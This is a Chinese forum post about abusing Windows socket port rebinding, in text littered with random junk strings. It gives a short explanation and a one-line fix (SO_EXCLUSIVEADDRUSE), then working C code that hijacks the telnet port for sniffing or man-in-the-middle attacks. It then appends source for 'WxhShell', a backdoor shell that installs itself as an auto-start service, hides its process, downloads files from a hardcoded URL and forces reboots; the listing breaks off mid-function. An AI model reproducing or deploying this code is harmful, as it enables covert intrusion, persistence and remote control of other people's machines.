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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;|=5)KE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \Ogs]4   
fZs}u<3Q)  
  saddr.sin_family = AF_INET; Ai%Wt-  
! .Pbbs%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {niV63$m  
MR,>]| ^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |I]G=.*E  
c -~i=C]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &6GW9pl[  
4D.h~X4  
  这意味着什么?意味着可以进行如下的攻击: ,~=+]9t  
abVEi[nP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X.e4pLwGK  
abe5 As r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +IGSOWL  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c8l\1ce?7  
laCVj6Rk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Zz|et206  
}!kvoV)]1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7Or?$  
3cqc<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M%13b$i~f  
J"eE9FLM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RXO}mu]Iu  
M&(0n?R"R  
  #include 7 A{R0@  
  #include P`CQ)o  
  #include ]<iD'=a  
  #include    wVv@   
  DWORD WINAPI ClientThread(LPVOID lpParam);   R-Tf9?)  
  int main() TY+Rol;!  
  { sEb*GF*.V  
  WORD wVersionRequested; lR ZuXo9<  
  DWORD ret; /jc; 2  
  WSADATA wsaData; ){J,Z*&  
  BOOL val; uq!d8{IMu  
  SOCKADDR_IN saddr; 27JZwlzZ  
  SOCKADDR_IN scaddr; i:R_g]  
  int err; i1qmFvksl  
  SOCKET s; b5 AP{ #  
  SOCKET sc; 2ak*aI  
  int caddsize;  =VSUE Pq  
  HANDLE mt; E_xCRfw_i]  
  DWORD tid;   AhV V  
  wVersionRequested = MAKEWORD( 2, 2 ); P#KT lH  
  err = WSAStartup( wVersionRequested, &wsaData ); mnYzn[d3U  
  if ( err != 0 ) { c=B!\J<1  
  printf("error!WSAStartup failed!\n"); }1Hy[4B(k\  
  return -1;  ~Ctq  
  } I~M@v59C  
  saddr.sin_family = AF_INET; F{17K$y  
   X5)].[d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *kGk.a=  
|r`0< `  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F PAj}as  
  saddr.sin_port = htons(23); p?<T _9e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x]"N:t  
  { L# .vbf  
  printf("error!socket failed!\n"); Ap(>mUs!i  
  return -1; Qv;^nj{\qV  
  } 3r2e_?m  
  val = TRUE; F`f8q\Fc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rV/! VJ6x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %\ !3tN  
  { 4:s!mHcz  
  printf("error!setsockopt failed!\n"); .Nd_p{   
  return -1; $0 ~_)$i :  
  } csv;u'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O1z3(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $gcC}tX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YLNJ4nE  
\BdQ(rm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /s`8=+\9  
  { ~hQTxLp  
  ret=GetLastError(); Q[%+y.  
  printf("error!bind failed!\n"); \4hB1-  
  return -1; =@ed {~  
  } $@ZrGT  
  listen(s,2); 3B ;aoejHm  
  while(1) sTzt  
  { ";/,FUJJ  
  caddsize = sizeof(scaddr); 8|S}!P"  
  //接受连接请求 ARJ}h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >~* w  
  if(sc!=INVALID_SOCKET) X=X  
  { dj:6c@n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5uvFCY./c  
  if(mt==NULL) #7,;/rtO7  
  { 8CGjI?j  
  printf("Thread Creat Failed!\n"); |D[4 G6&  
  break; iJEKLv  
  } MryY<s  
  } 5tu 4uYp;  
  CloseHandle(mt); Ov~>* [  
  } )tR@\G>%  
  closesocket(s); sy+tLDMd  
  WSACleanup(); %1PNP<3r0  
  return 0; :J;*]o:  
  }   {$qLMx';  
  DWORD WINAPI ClientThread(LPVOID lpParam) +m1y#|08  
  { v^Pjvv=  
  SOCKET ss = (SOCKET)lpParam; LLW\1 cxi  
  SOCKET sc; N:e5=;6s  
  unsigned char buf[4096]; =bl6:  
  SOCKADDR_IN saddr; &6#Ft]6~  
  long num; {P $sQv  
  DWORD val; 5>"X?U}He  
  DWORD ret; OOX[xv!b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !I[|\ 4j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i|OG#PsY-  
  saddr.sin_family = AF_INET; ~_hn{Ou s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~BD 80s:f  
  saddr.sin_port = htons(23); ZE0D=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V.kRV{43  
  { rh 7%<xb>  
  printf("error!socket failed!\n"); & 0%x6vea  
  return -1;  Y.v. EZ  
  } Kv>P+I'|r  
  val = 100; )U u! x6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )_Wo6l)i  
  { uO}UvMW  
  ret = GetLastError(); _';oT*#  
  return -1; -}Q^A_xK  
  } qK12:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) je^=gnq  
  { $Z{Xt*  
  ret = GetLastError(); 2<8JY4]!]  
  return -1; ' lMPI@C6r  
  } `\5u/i'Ca!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X) xeq  
  { 1wM~),B8  
  printf("error!socket connect failed!\n"); E)utrO R  
  closesocket(sc); a+ lGN  
  closesocket(ss); _h8|shyP  
  return -1; ]Geg;[ t  
  } @Xj6h!"R  
  while(1) x72T5.  
  { $@Kwsoh'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W]= $0'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y>2kOE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Yl0_?.1 z  
  num = recv(ss,buf,4096,0); F{"4cyoou  
  if(num>0) )r.4`5Rc  
  send(sc,buf,num,0); QO(P_az3mg  
  else if(num==0) !f!HVna  
  break; >7I"_#x1:  
  num = recv(sc,buf,4096,0); A/w7 (  
  if(num>0) y ZR\(\?<  
  send(ss,buf,num,0); wwD?i.3  
  else if(num==0) P\2UIAPa\b  
  break; LyWgaf#/d  
  } 2qxede  
  closesocket(ss); {m7>9{`  
  closesocket(sc); "`&1"*  
  return 0 ; 9s@$P7N5B  
  } .sR=Mf7T  
Tkf JC|6  
k@/s-^ry3  
========================================================== |w w@V<'/#  
1a>TJdoa  
下边附上一个代码,,WXhSHELL Q% LQP!Kg  
UUaC@Rs2  
========================================================== y=spD^tM8  
)=@ SA`J  
#include "stdafx.h" =9y&j-F  
5x/LHsr=m  
#include <stdio.h> WXX)_L$2  
#include <string.h> /7[X_)OG  
#include <windows.h> KR sY `[Y  
#include <winsock2.h> qxW^\u!<  
#include <winsvc.h> t2 0Es  
#include <urlmon.h> $K}Y  
~s4o1^6L  
#pragma comment (lib, "Ws2_32.lib") b!3Y<D*  
#pragma comment (lib, "urlmon.lib") A-om?$7  
0\2#(^  
#define MAX_USER   100 // 最大客户端连接数 .*W_;Fo  
#define BUF_SOCK   200 // sock buffer S @[B?sNj  
#define KEY_BUFF   255 // 输入 buffer 6 r}R%{  
\4 5%K|  
#define REBOOT     0   // 重启 0G}]d17ho  
#define SHUTDOWN   1   // 关机 )CM3v L {  
?KMGk]_<  
#define DEF_PORT   5000 // 监听端口 1sN >U<  
_q<Ke/  
#define REG_LEN     16   // 注册表键长度 1'Y7h;\~\  
#define SVC_LEN     80   // NT服务名长度 QdtGFY4f,  
[) S&PK  
// 从dll定义API MWZH-aA(.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y|(C L^(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eB,eu4+-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T\b-<Xle  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h<I C d'!  
U,2H) {l/  
// wxhshell配置信息 Lx#CFrLQ*  
struct WSCFG { .R5(k'g?  
  int ws_port;         // 监听端口 LOX}  
  char ws_passstr[REG_LEN]; // 口令 KKJ)BG?qZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no CE;J`;  
  char ws_regname[REG_LEN]; // 注册表键名 CP"  
  char ws_svcname[REG_LEN]; // 服务名 5KIlU78  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $2'Q'Mx[gd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i^2-PKPg{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lPO +dm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uEX+j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?&rt)/DV,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M'-Z"  
9w:9XziT  
}; bj$VYS"kY  
1Q>D^yPI[  
// default Wxhshell configuration Y `ySNC  
struct WSCFG wscfg={DEF_PORT, E@%9u#  
    "xuhuanlingzhe", Tw+V$:$$  
    1, nXFPoR)T  
    "Wxhshell", (`me}8  
    "Wxhshell", xq-TT2}<L  
            "WxhShell Service", pf[m"t6G~  
    "Wrsky Windows CmdShell Service", S&Szc0-|k  
    "Please Input Your Password: ", b"7L ;J5|  
  1, lJIcU RI4  
  "http://www.wrsky.com/wxhshell.exe", ZW)_dg9  
  "Wxhshell.exe" -gK*&n~  
    }; vn5O8sD  
odaCKhdk  
// 消息定义模块 L2<IG)oXU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H2 Gj(Nc-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ayK?\srw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )Lb?ZXT3  
char *msg_ws_ext="\n\rExit."; 2vh@KnNU  
char *msg_ws_end="\n\rQuit."; "f|xIK`c  
char *msg_ws_boot="\n\rReboot..."; %]1.)j  
char *msg_ws_poff="\n\rShutdown..."; vtu!* 7m  
char *msg_ws_down="\n\rSave to "; Y6w7sr_R  
Wv7hY"  
char *msg_ws_err="\n\rErr!"; wJMk%N~R:  
char *msg_ws_ok="\n\rOK!"; }eq*dr1`  
'Tbdo >y  
char ExeFile[MAX_PATH]; T;`2t;  
int nUser = 0; 9^<Y~rkm  
HANDLE handles[MAX_USER]; 5zi}O GtXv  
int OsIsNt; V N<omi+4  
jL]Y;T8  
SERVICE_STATUS       serviceStatus; #Bo3 :B8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (N[R`LN  
/{71JqFis  
// 函数声明 (T 8In  
int Install(void); _-c1" Kl  
int Uninstall(void); 6haw\ *  
int DownloadFile(char *sURL, SOCKET wsh); Ygs:Ox"[-G  
int Boot(int flag);  JcJc&cG  
void HideProc(void);  up==g  
int GetOsVer(void); PL|zm5923  
int Wxhshell(SOCKET wsl); &@[pJ2  
void TalkWithClient(void *cs); nBkzNb{"AZ  
int CmdShell(SOCKET sock); LTlbrB  
int StartFromService(void); r<9G}9  
int StartWxhshell(LPSTR lpCmdLine); 8_:j.(n  
 Jk>!I\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )&vuT q'7'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `)WC|=w2  
Rx,5?*b$  
// 数据结构和表定义 g)L<xN8  
SERVICE_TABLE_ENTRY DispatchTable[] = [M/0Qx[,  
{ f(UB$^4  
{wscfg.ws_svcname, NTServiceMain}, ^{ {0ajI9C  
{NULL, NULL} U ljWBd  
};  "[ #.  
KEfwsNSc%  
// 自我安装 p G(Fw>  
int Install(void) W87kE?,  
{ 4H*M^?h\#  
  char svExeFile[MAX_PATH]; u8r<B4k  
  HKEY key; ;6}> Shs  
  strcpy(svExeFile,ExeFile); 'PWX19  
Dt:NBN  
// 如果是win9x系统,修改注册表设为自启动 <i~=-Z(  
if(!OsIsNt) { !D|c2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6]NaP_\0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UZRN4tru6  
  RegCloseKey(key); z2~\ b3G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?<efKs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -Dy":/Bk  
  RegCloseKey(key); +F]=Z  
  return 0; >qS2ha  
    } Plj>+XRO  
  } )<(3 .M  
} \OE,(9T2P.  
else { k7kPeq  
Rrw6\iO  
// 如果是NT以上系统,安装为系统服务 vlC$0P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I3;03X<2  
if (schSCManager!=0) LbUH`0:%t  
{ p`)Mk<`dYD  
  SC_HANDLE schService = CreateService C 8KV<k  
  ( p735i`8  
  schSCManager, ok1-`c P  
  wscfg.ws_svcname, 6Z<|L^  
  wscfg.ws_svcdisp, oer3DD(  
  SERVICE_ALL_ACCESS, PwnfXsR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4w#:?Y _\[  
  SERVICE_AUTO_START, 1Vx>\A  
  SERVICE_ERROR_NORMAL, y*e({fio_  
  svExeFile, p]rV\,Yss  
  NULL, {sW>J0  
  NULL, I<qG{PA  
  NULL, 6 \}.l  
  NULL, ${{[g16X  
  NULL WI1DL&*B@<  
  ); snP]&l+  
  if (schService!=0) d+p^fBz  
  { :%<'('S |  
  CloseServiceHandle(schService); .^8rO ,H[  
  CloseServiceHandle(schSCManager); c)Ne/E{!0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s\e b  
  strcat(svExeFile,wscfg.ws_svcname); %?Q<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1EWskmp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zmFS]IOv$  
  RegCloseKey(key); &2r[4  
  return 0; Ui'*$W]v  
    } Ze?n Q-  
  } ?{%"v\w  
  CloseServiceHandle(schSCManager); 'HJ<"<  
} 0IyT(1hS  
} 3QCCX$,  
qOflvf  
return 1; S2 MJb  
} z\-/R9E/5-  
Uf9L*Z'6il  
// 自我卸载 '.]<lh!  
int Uninstall(void) LKgo(&mY  
{ <6&Z5mpm$w  
  HKEY key; q;.LK8M  
Mtc  -  
if(!OsIsNt) { 5DJ!:QY!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tA^CuJR  
  RegDeleteValue(key,wscfg.ws_regname); l[^0Ik-G  
  RegCloseKey(key); Q_`EKz;N{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :}CcWfbT  
  RegDeleteValue(key,wscfg.ws_regname); T%aM~dp  
  RegCloseKey(key); [e o=  
  return 0; UAGh2?q2  
  } ;Irn{O  
} @M6F?;  
} :qj7i(  
else { p@U[fv8u  
]U&<y8Q_6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Rw][Ys  
if (schSCManager!=0) k\Y*tY#2  
{ "sT)<Wc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  v> s,*  
  if (schService!=0) 4'"WD0  
  { =R)w=ce  
  if(DeleteService(schService)!=0) { EY0,Q {  
  CloseServiceHandle(schService); [#%@,C  
  CloseServiceHandle(schSCManager); u/ri {neP{  
  return 0; 6!H,(Z]j  
  } UkcH+0o  
  CloseServiceHandle(schService); e.W<pI,  
  } , [<$X{9  
  CloseServiceHandle(schSCManager); thz[h5C?C  
} Zr(eH2}0D  
} eQ*zi9na  
gHFQs](G.  
return 1; 3R%yKa#  
} na@Go@q  
DGg1TUE  
// 从指定url下载文件 F<b/)<Bm=  
int DownloadFile(char *sURL, SOCKET wsh) *y', eB  
{ qMw_`dC  
  HRESULT hr; In8{7&iVO  
char seps[]= "/"; 9CAu0N5<  
char *token; 7rG+)kHG  
char *file; Jp= )L  
char myURL[MAX_PATH]; Tj}%G  
char myFILE[MAX_PATH]; FiSx"o  
&?5me:aU  
strcpy(myURL,sURL); Mkr &30il[  
  token=strtok(myURL,seps); s^m`qi(H  
  while(token!=NULL) p0PK-e`@:  
  { 'F3@Xh  
    file=token; sFHqLG{/  
  token=strtok(NULL,seps); 'uF-}_ |  
  } n@6vCdk.  
p)VMYu  
GetCurrentDirectory(MAX_PATH,myFILE); E{}J-_oS45  
strcat(myFILE, "\\"); ">Ms V/  
strcat(myFILE, file); G cB<i  
  send(wsh,myFILE,strlen(myFILE),0); pu_?) U  
send(wsh,"...",3,0); ]x(6^:D5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Dl,sl>{  
  if(hr==S_OK) Sj o-Xf}  
return 0; LW#U+bv]Dq  
else <$ qT(3w<y  
return 1; #fk1'c2  
[("2=Uz;  
} .m.Ga|;  
O8Z+g{  
// 系统电源模块 D5:|CMQ  
int Boot(int flag) DK20}&RQ  
{ QEMT'Cs  
  HANDLE hToken; *j=58d`n  
  TOKEN_PRIVILEGES tkp; ]wfY<Z  
2:<H)oB  
  if(OsIsNt) { JeF$ W!!{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h!Y##_&&4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3i\Np =  
    tkp.PrivilegeCount = 1; ;- _ZWk]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %gWQ}QF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YW"uC\kg|  
if(flag==REBOOT) { 'Ydr_Ses  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KzQFG)q,  
  return 0; y:_>R=sw  
} d c/^  
else { RJKi98xwJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rITA-W O  
  return 0; /qMiv7m~Q  
} ]z#)XW3#i  
  } OUFy=5(%:  
  else { G6l C[eK  
if(flag==REBOOT) { Xk1uCVUe5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #l@P}sHXq  
  return 0; 'z{|#zd9  
} 2R,8q0qR:  
else { X|D-[|P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7SNdC8GZ~  
  return 0; UZ "!lpg  
} sbhzER  
} [rW];H8:~  
x-W~&`UU  
return 1; j"fx|6l)  
} q8n@fi6  
W*Ow%$%2  
// win9x进程隐藏模块 %I{>H%CjE  
void HideProc(void) 6J@,bB jVz  
{ A&M(a  
Z1:<i*6>D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $F[+H Wf  
  if ( hKernel != NULL ) C+"c^9[  
  { oE6`]^^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6b$C/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SlHDBr!.z  
    FreeLibrary(hKernel); fE_%,DJE(  
  } fK *l?Hr  
Ul6|LTY  
return; q2'}S A/  
} 0pG + yec  
{qU;;`P]|  
// 获取操作系统版本 R eb.x_  
int GetOsVer(void) %d *0"<v  
{ `M{Ne:J  
  OSVERSIONINFO winfo; v*FbvrY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vLBuE  
  GetVersionEx(&winfo); OU}eTc(FeC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DVMdRfA  
  return 1; 1P'A*`!K  
  else 'Bxj(LaV-  
  return 0; 0 f$96sl  
} G 9 (*F  
JtsXMZz  
// 客户端句柄模块 {MyI3mvA  
int Wxhshell(SOCKET wsl) ;\6@s3  
{ 5S_fvW;  
  SOCKET wsh; 4;3Vc%  
  struct sockaddr_in client; .MRN)p  
  DWORD myID; 5f?GSHA}  
*W`7JL,  
  while(nUser<MAX_USER) ^suQ7#g  
{ "I:*  
  int nSize=sizeof(client); ^IyQzBOj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .'Q*_};W  
  if(wsh==INVALID_SOCKET) return 1; GQk/ G0*&  
mpCu,l+lo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]7>#YKH.  
if(handles[nUser]==0) l6 }+,v@#  
  closesocket(wsh); f~PS'I_r  
else 7R m\#  
  nUser++; NZ&ZK@h}.  
  } b 9"t%R9/Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UN F\k1[  
^Ifm1$X}  
  return 0; 9<toDg_  
} <DPRQhNW]  
8 5)C7tJ-g  
// 关闭 socket F$jy~W_  
void CloseIt(SOCKET wsh) &|}QdbW  
{ ^#mWV  
closesocket(wsh); 2boyBz}=S  
nUser--; /; /:>c  
ExitThread(0); {.p;V  
} ?U[6X| 1  
i2rSP$j  
// 客户端请求句柄 [Gv8Fn/aG  
void TalkWithClient(void *cs) !g6=/9  
{ mMOgx   
XP0;Q;WF}  
  SOCKET wsh=(SOCKET)cs; rQGInzYp  
  char pwd[SVC_LEN]; !lL `L \  
  char cmd[KEY_BUFF]; 3c7i8b$  
char chr[1]; Ba5*]VGG  
int i,j; O(2c_!d  
Eu~1t& 4  
  while (nUser < MAX_USER) { wB' !@>db  
wIR"!C>LE  
if(wscfg.ws_passstr) { reArXmU<u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !iNwJ|0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C4d'z(<  
  //ZeroMemory(pwd,KEY_BUFF); CLe{9-o  
      i=0; 4 qY  
  while(i<SVC_LEN) { !G\gqkSL  
zLJmHb{(  
  // 设置超时 Zi7cp6~7  
  fd_set FdRead; OIpT9  
  struct timeval TimeOut; \'[tfSB  
  FD_ZERO(&FdRead); Ii5U) "  
  FD_SET(wsh,&FdRead); !sEhjJV^7  
  TimeOut.tv_sec=8; 9W]OtSG  
  TimeOut.tv_usec=0; }uC]o@/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )g^qgxnnV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oqysfLJ  
q+oc^FD?@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8! !h6dQgI  
  pwd=chr[0]; 42tZBz&  
  if(chr[0]==0xd || chr[0]==0xa) { *QWOW g4w  
  pwd=0; /SS~IhUX  
  break; \}W3\To_  
  } 2gkN\w6zQ  
  i++; j$XaO%y)  
    } <-b9 )>  
d0ht*b  
  // 如果是非法用户,关闭 socket !X$19"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c/^jD5U7  
} .I_<\h7  
RPf<-J:t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Oso**WUOZ&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qc?W;Q+  
x3`JC&hF,q  
while(1) { WjK[% ;Z!  
ok:L]8UN 3  
  ZeroMemory(cmd,KEY_BUFF); IzUpkwN  
f.^|2T I1g  
      // 自动支持客户端 telnet标准   73 .+0x  
  j=0; 4lc|~Fj++  
  while(j<KEY_BUFF) { ]1>R8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uKXD(lzX  
  cmd[j]=chr[0]; "M-';;  
  if(chr[0]==0xa || chr[0]==0xd) { 9$e$L~I#u  
  cmd[j]=0; .;Gx.}ITG6  
  break; Z'2AsT  
  } $57Q g1v  
  j++; -ZSN0Xk  
    } N6u>V~i  
lN:;~;z_  
  // 下载文件 PWx%~U.8~j  
  if(strstr(cmd,"http://")) { @MTv4eC}e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @~|;/OY>"  
  if(DownloadFile(cmd,wsh)) G'}N?8s1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dL'oKh,  
  else |?{V-L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +y'2 h%>h[  
  } Sa9VwVUE  
  else { MI(#~\Y~P  
*P7/ry^<F  
    switch(cmd[0]) { siCm)B  
  W!O/t^H>  
  // 帮助 %bF157X5An  
  case '?': { ercXw7{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,<#Rk 'y$  
    break; ys`oHS f  
  } 3T0-RP*  
  // 安装 o/V T"cT  
  case 'i': { Z:N;>.3i  
    if(Install()) aZ_3@I{d`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aN0 7\  
    else >2pxl(i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nr -< mQ  
    break; !DSm[Z1  
    } 82EvlmD  
  // 卸载 Z#N w[>NN*  
  case 'r': { WrDFbcH  
    if(Uninstall()) snfFRc(RE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B'(zhjV  
    else =JfwHFHd#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9oGcbD4*  
    break; s K+uwt  
    } FI?J8a  
  // 显示 wxhshell 所在路径 c;X,-Q9  
  case 'p': { (2> q  
    char svExeFile[MAX_PATH]; ,C><n kx  
    strcpy(svExeFile,"\n\r"); \a|~#N3?  
      strcat(svExeFile,ExeFile); lGR0-Gh2  
        send(wsh,svExeFile,strlen(svExeFile),0); u=v-,Tw  
    break; >FOCdlJ#  
    } Ot\[Ya''  
  // 重启 Y ?n4#J<  
  case 'b': { [Z:P{yr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); inO;Uwlv  
    if(Boot(REBOOT)) u1y>7,Z6W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8/tB?j  
    else { uyk;]EYjHZ  
    closesocket(wsh); ?uL-qsU  
    ExitThread(0); GfK%UZ$C  
    } `f&::>5tD  
    break; a*X{hU 9P  
    } ^(C4Q?[2m  
  // 关机 3'0vLi  
  case 'd': { >]ux3F3\  
